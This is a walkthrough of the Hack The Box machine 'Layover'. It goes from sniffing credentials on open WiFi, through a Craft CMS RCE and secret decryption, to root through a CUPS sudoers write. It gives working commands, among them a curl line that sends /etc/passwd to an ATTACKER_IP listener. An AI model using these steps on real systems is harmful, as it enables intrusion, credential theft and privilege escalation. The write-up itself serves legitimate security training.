HTB Layover — From Open WiFi to Root: A Full Attack-Chain Breakdown
Machine: Layover · Platform: Hack The Box · Season: 12 · OS: Linux (Ubuntu 24.04 container)
This guide walks through a complete compromise of HTB’s Layover machine — from sniffing cleartext credentials off an open airport WiFi network, through a CMS RCE with real-world exploitation constraints, all the way to root via a CUPS local privilege escalation. It’s written for CTF players, junior pentesters, and anyone studying how small weaknesses chain together into a full compromise.
It does not encourage testing any of this outside an authorized lab — Layover is a purpose-built HTB environment, and the techniques below should stay there unless you have explicit authorization elsewhere.
By the end, you’ll understand the root cause of each step in the chain, why the constraints mattered, how the attacker adapted around them, and the general lessons that transfer to real engagements.
The Chain at a Glance
| Stage | Weakness | Result |
|---|---|---|
| Open WiFi sniffing | No encryption at layer 2 | Cleartext login credentials |
| Craft CMS 5.9.8 | Behavior injection (patch bypass of a fixed RCE) | Blind command execution, constrained |
escapeshellcmd() bypass | Command execution without shell metacharacters | Arbitrary file read via curl |
.env + DB exposure | Security key stored alongside encrypted secrets | Decrypted SMTP relay password |
| SSH pivot | Reused/relay credentials | Shell as low-priv user, user flag |
| CUPS 2.4.16 | Auth-token replay via rogue IPP server | Root, via a forged sudoers file |
Each stage on its own is a known category of bug. What makes Layover worth studying is how they connect: a wireless issue becomes a web foothold, a constrained RCE becomes a file-read primitive, and a local printing daemon becomes the final privilege escalation.
Phase 1: Passive Wireless Sniffing
Root cause: the target WiFi network (HTB International WiFi) uses no encryption at all (key_mgmt=NONE). On an open network, every 802.11 data frame — and everything carried inside it, including HTTP traffic — is readable by anyone within radio range.
This is where monitor mode matters. Monitor mode is not the same as promiscuous mode: promiscuous mode only sees traffic on networks your adapter has already associated with, while monitor mode captures every 802.11 frame on a channel regardless of destination. The jumpbox here simulates this over the kernel’s mac80211_hwsim module, with one interface (wlan2) doing normal connectivity and a second (wlan3) dedicated to sniffing:
sudo ip link set wlan3 down
sudo iw dev wlan3 set type monitor
sudo ip link set wlan3 upFrom there, a targeted tshark filter pulls out only POST-based login submissions instead of drowning in unrelated traffic:
sudo tshark -i wlan3 \
-Y "http.request.method == POST" \
-T fields \
-e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
-e urlencoded-form.key -e urlencoded-form.valueWithin one login attempt, the credentials for the target’s low-privileged user appear in plaintext — a <USERNAME> / <PASSWORD> pair. No cryptography was broken here — there simply wasn’t any. Open WiFi plus HTTP is enough on its own.
Phase 2: Web Foothold via Craft CMS
Affected component: Craft CMS 5.9.8, a PHP CMS built on the Yii2 framework.
With the captured credentials, authentication to the /admin panel is straightforward — Craft’s login flow just requires pulling the CRAFT_CSRF_TOKEN from the login page and submitting it alongside the credentials. But the account is a low-privileged Content Editor, not an admin, and the known Craft CVE for this version (CVE-2026-28695) is documented as requiring admin rights.
This is where the “patch bypass” angle comes in: the original fix restricted the vulnerable code path to admin-only contexts, but the underlying weakness — a Yii2 behavior injection — was reachable from a lower-privileged endpoint (element-search) that wasn’t covered by the patch. Behaviors in Yii2 are attached via configuration, and if an attacker can control that configuration, a class like AttributeTypecastBehavior can be instantiated and chained into a command-execution sink.
The constraint that shaped everything downstream: the sink runs through PHP’s escapeshellcmd(), which strips shell metacharacters — no pipes, no redirection, no command chaining. That kills the obvious “get a reverse shell” path. What survives is a single binary with arguments, which is enough for one very useful primitive:
curl --data-binary @/etc/passwd http://<ATTACKER_IP>:8080/passwdPaired with a simple listener to catch the exfiltrated bytes, this blind RCE becomes an arbitrary file-read. From there, /proc/self/environ reveals the web root path, and pulling .env and composer.json confirms the exact Craft version and exposes the application’s security key plus database credentials — the keys, quite literally, to the next phase.
Phase 3: Turning a Security Key Into Lateral Movement
Craft’s .env file is meant to stay outside the web root and unreadable remotely — the file-read primitive from Phase 2 defeats that assumption entirely.
Inside a custom module (modules/htbairways/), the code shows exactly how an SMTP relay password is protected:
$password = Craft::$app->getSecurity()
->decryptByKey(base64_decode($kv['mailRelayPassword']), $securityKey);The encrypted blob itself lives in the htbairways_settings database table, reachable now that the database credentials were exposed alongside the security key:
mysql -h127.0.0.1 -u<DB_USER> -p<DB_PASSWORD> craft -E \
-e "SELECT name, value FROM htbairways_settings"The key lesson here: don’t try to reimplement Yii2’s AES-256-CBC + HMAC scheme by hand — it’s easy to get padding or key-derivation details wrong. The security key extracted from .env is enough to just call the target’s own decryption function:
php -r 'require "/var/www/portal/vendor/autoload.php"; \
$s=new yii\base\Security(); \
echo $s->decryptByKey(base64_decode($blob), $key), "\n";'That yields a plaintext password tied to a secondary system account, and SSH access — plus the user flag — follows directly.
Phase 4: Root via CUPS (CVE-2026-34990)
Affected component: CUPS 2.4.16, the printing daemon, running locally as root with its IPP listener on 127.0.0.1:631.
Root cause: when cupsd is challenged with a 401 Unauthorized response, it authenticates back using an Authorization: Local <token> header — its own admin token. A rogue IPP server on localhost can trigger that exchange and capture the token, effectively handing over admin control of the real CUPS daemon.
From there, the privilege escalation is a matter of abusing what a CUPS admin is allowed to do:
- Stand up a printer whose
device-uripoints atfile:///etc/sudoers.d/<FILENAME> - Set
printer-is-temporary=false, which sidesteps theFileDevicepolicy that would normally blockfile://URIs - “Print” a job whose content is a valid sudoers line granting the current user full NOPASSWD sudo rights
cupsd, running as root, writes that content to disk exactly as instructed
python3 exploit.py
# [+] Local token: <TOKEN>
# [+] ROOT via sudoers
sudo -n bashA printing daemon that runs as root and can be tricked into writing arbitrary file content is a privilege escalation waiting to happen — CUPS just happens to be a very common one to find sitting on a box.
Key Takeaways
- Open WiFi + HTTP is still a real threat model. No layer-2 or layer-7 encryption means anyone in range can read credentials — this isn’t a legacy problem, it’s an ongoing one anywhere open networks are still deployed.
- Monitor mode ≠ promiscuous mode. Know the difference when you’re building a sniffing setup.
- A constrained RCE is still an RCE. When
escapeshellcmd()blocks pipes and chaining, a singlecurl --data-binary @filecall turns blind command execution into a reliable file-read primitive. /proc/self/environis an underrated recon target. When you can’tls, the exploited process’s own environment often leaks the path you need.- Decrypt with the target’s own code, not a reimplementation. Calling
yii\base\Security::decryptByKey()directly avoids subtle AES/padding mistakes. - Custom application modules are where secrets hide.
modules/htbairways/held the canonical clue in this chain — CTF authors (and real developers) often tuck sensitive logic into app-specific code rather than the framework itself. - Background daemons running as root are a privesc goldmine. CUPS speaks a network protocol, runs as root, and leaks an admin token via localhost auth coercion — that combination is worth checking for on any box.
FAQ
Was any actual cryptography broken in this chain?
No — the wireless phase succeeded because the network used no encryption at all, and the AES-encrypted relay password was decrypted using a legitimately recovered key, not a cryptographic weakness.
Why couldn’t the attacker just get a reverse shell after the Craft RCE?
The sink ran through escapeshellcmd(), which strips the shell metacharacters (|, >, &, ;, quotes) a reverse shell one-liner typically needs. A single binary with arguments still worked, which is what made the file-read approach viable.
What made this CVE exploitable despite the patch?
The original fix restricted the vulnerable Yii2 behavior-injection path to admin-only contexts, but a separate, lower-privileged endpoint (element-search) still reached the same underlying sink.
Why target CUPS specifically for privilege escalation?
It commonly runs as root, listens on a local network port, and its admin-token exchange over localhost is unauthenticated in the way it trusts Authorization: Local — a good combination for local privesc research.
References
- Craft CMS docs: craftcms.com/docs/5.x/configure.html
- Yii2 Security class: yiiframework.com/doc/api/2.0/yii-base-security
- CVE-2026-28695 — Craft CMS patch bypass RCE
- CVE-2026-34990 — CUPS local privilege escalation
References
- Craft CMS docs: craftcms.com/docs/5.x/configure.html
- Yii2 Security class: yiiframework.com/doc/api/2.0/yii-base-security
- CVE-2026-28695 — Craft CMS patch bypass RCE
- CVE-2026-34990 — CUPS local privilege escalation